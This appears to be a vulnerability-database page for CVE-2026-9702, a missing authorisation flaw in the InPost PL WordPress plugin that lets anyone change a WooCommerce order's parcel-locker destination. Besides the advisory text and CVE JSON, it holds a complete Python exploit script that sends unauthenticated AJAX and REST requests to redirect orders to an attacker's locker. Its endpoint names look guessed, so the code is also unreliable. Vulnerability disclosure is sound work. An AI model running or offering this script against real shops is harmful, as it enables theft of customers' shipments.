Security Vulnerability Report
中文
CVE-2026-9702 CVSS 7.5 HIGH

CVE-2026-9702

Published: 2026-06-25 07:16:46
Last Modified: 2026-06-25 13:28:36

Description

The InPost PL WordPress plugin before 1.9.1 does not verify that the request originates from the legitimate buyer before allowing the WooCommerce order parcel-locker destination to be updated, allowing unauthenticated attackers to silently redirect the shipping destination of any pending or processing order on the site.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

InPost PL WordPress插件 < 1.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-9702 - InPost PL WordPress Plugin Unauthenticated Order Destination Modification # Exploit script to silently redirect WooCommerce order parcel-locker destinations # Author: Security Researcher # Tested on: WordPress + WooCommerce + InPost PL plugin < 1.9.1 import requests import sys import re TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" ORDER_ID = sys.argv[2] if len(sys.argv) > 2 else "123" ATTACKER_LOCKER_ID = sys.argv[3] if len(sys.argv) > 3 else "KRA01M" # Attacker's InPost locker ID # Step 1: Discover the InPost PL plugin's AJAX endpoint # The plugin typically uses WordPress admin-ajax.php or a custom REST endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 2: Craft the malicious request payload # The plugin accepts parcel locker updates via AJAX action without authentication payload = { "action": "inpost_update_locker", # Plugin's AJAX action handler "order_id": ORDER_ID, # Target WooCommerce order ID "parcel_locker_id": ATTACKER_LOCKER_ID, # Attacker's controlled locker "security": "" # Empty/nonce - vulnerability point } # Step 3: Send the unauthenticated request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Order ID: {ORDER_ID}") print(f"[*] Attacker Locker: {ATTACKER_LOCKER_ID}") response = requests.post(ajax_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully (HTTP {response.status_code})") print(f"[+] Response: {response.text[:200]}") print(f"[!] Order #{ORDER_ID} parcel locker destination has been redirected!") else: print(f"[-] Request failed with HTTP {response.status_code}") print(f"[-] Response: {response.text[:200]}") # Alternative: Direct REST API endpoint exploitation rest_url = f"{TARGET_URL}/wp-json/inpost/v1/order/{ORDER_ID}/locker" rest_payload = { "parcel_locker_id": ATTACKER_LOCKER_ID } response2 = requests.put(rest_url, json=rest_payload, headers=headers, timeout=10) print(f"[*] REST API attempt - Status: {response2.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9702", "sourceIdentifier": "[email protected]", "published": "2026-06-25T07:16:45.830", "lastModified": "2026-06-25T13:28:35.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The InPost PL WordPress plugin before 1.9.1 does not verify that the request originates from the legitimate buyer before allowing the WooCommerce order parcel-locker destination to be updated, allowing unauthenticated attackers to silently redirect the shipping destination of any pending or processing order on the site."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "InPost PL", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "1.9.1", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:35:19.232131Z", "id": "CVE-2026-9702", "options": [{"exploitation": "poc"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/79b27813-3d75-46a3-98d3-e6d8eb8ad467/", "source": "[email protected]"}]}}